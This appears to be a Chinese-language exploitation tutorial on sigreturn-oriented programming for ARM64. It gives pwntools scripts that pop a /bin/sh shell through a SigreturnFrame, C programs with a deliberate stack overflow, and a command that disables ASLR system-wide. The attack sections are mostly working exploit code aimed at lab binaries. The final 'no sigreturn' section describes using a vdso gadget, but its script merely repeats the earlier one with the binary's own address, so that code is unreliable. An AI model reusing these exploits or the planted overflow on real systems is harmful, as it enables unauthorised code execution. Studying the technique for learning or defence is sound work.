SROP - ARM64
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Pwntools示例
此示例创建了一个易受攻击的二进制文件并利用它。该二进制文件读取到堆栈,然后调用**sigreturn
**:
from pwn import *
binsh = "/bin/sh"
context.clear()
context.arch = "arm64"
asm = ''
asm += 'sub sp, sp, 0x1000\n'
asm += shellcraft.read(constants.STDIN_FILENO, 'sp', 1024) #Read into the stack
asm += shellcraft.sigreturn() # Call sigreturn
asm += 'syscall: \n' #Easy symbol to use in the exploit
asm += shellcraft.syscall()
asm += 'binsh: .asciz "%s"' % binsh #To have the "/bin/sh" string in memory
binary = ELF.from_assembly(asm)
frame = SigreturnFrame()
frame.x8 = constants.SYS_execve
frame.x0 = binary.symbols['binsh']
frame.x1 = 0x00
frame.x2 = 0x00
frame.pc = binary.symbols['syscall']
p = process(binary.path)
p.send(bytes(frame))
p.interactive()
缓冲区溢出示例
代码
#include <stdio.h>
#include <string.h>
#include <unistd.h>
void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("mov x8, 0x8b; svc 0;");
return;
}
char* vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability
return buffer;
}
char* gen_stack() {
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
}
int main(int argc, char **argv) {
char* b = gen_stack();
do_stuff(2);
return 0;
}
编译它使用:
clang -o srop srop.c -fno-stack-protector
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # Disable ASLR
攻击
该攻击利用缓冲区溢出漏洞返回到对 sigreturn
的调用,并准备栈以调用带有指向 /bin/sh
的指针的 execve
。
from pwn import *
p = process('./srop')
elf = context.binary = ELF('./srop')
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000 # ASLR disabled
binsh = next(libc.search(b"/bin/sh"))
stack_offset = 72
sigreturn = 0x00000000004006e0 # Call to sig
svc_call = 0x00000000004006e4 # svc #0x0
frame = SigreturnFrame()
frame.x8 = 0xdd # syscall number for execve
frame.x0 = binsh
frame.x1 = 0x00 # NULL
frame.x2 = 0x00 # NULL
frame.pc = svc_call
payload = b'A' * stack_offset
payload += p64(sigreturn)
payload += bytes(frame)
p.sendline(payload)
p.interactive()
没有 sigreturn 的 bof 示例
代码
#include <stdio.h>
#include <string.h>
#include <unistd.h>
char* vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability
return buffer;
}
char* gen_stack() {
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
}
int main(int argc, char **argv) {
char* b = gen_stack();
return 0;
}
攻击
在**vdso
部分,可以在偏移0x7b0
找到对sigreturn
**的调用:
因此,如果泄漏了,可以使用这个地址来访问sigreturn
,如果二进制文件没有加载它的话:
from pwn import *
p = process('./srop')
elf = context.binary = ELF('./srop')
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000 # ASLR disabled
binsh = next(libc.search(b"/bin/sh"))
stack_offset = 72
sigreturn = 0x00000000004006e0 # Call to sig
svc_call = 0x00000000004006e4 # svc #0x0
frame = SigreturnFrame()
frame.x8 = 0xdd # syscall number for execve
frame.x0 = binsh
frame.x1 = 0x00 # NULL
frame.x2 = 0x00 # NULL
frame.pc = svc_call
payload = b'A' * stack_offset
payload += p64(sigreturn)
payload += bytes(frame)
p.sendline(payload)
p.interactive()
有关vdso的更多信息,请查看:
Ret2vDSO要绕过/bin/sh
的地址,您可以创建指向它的多个环境变量,更多信息请查看:
最后更新于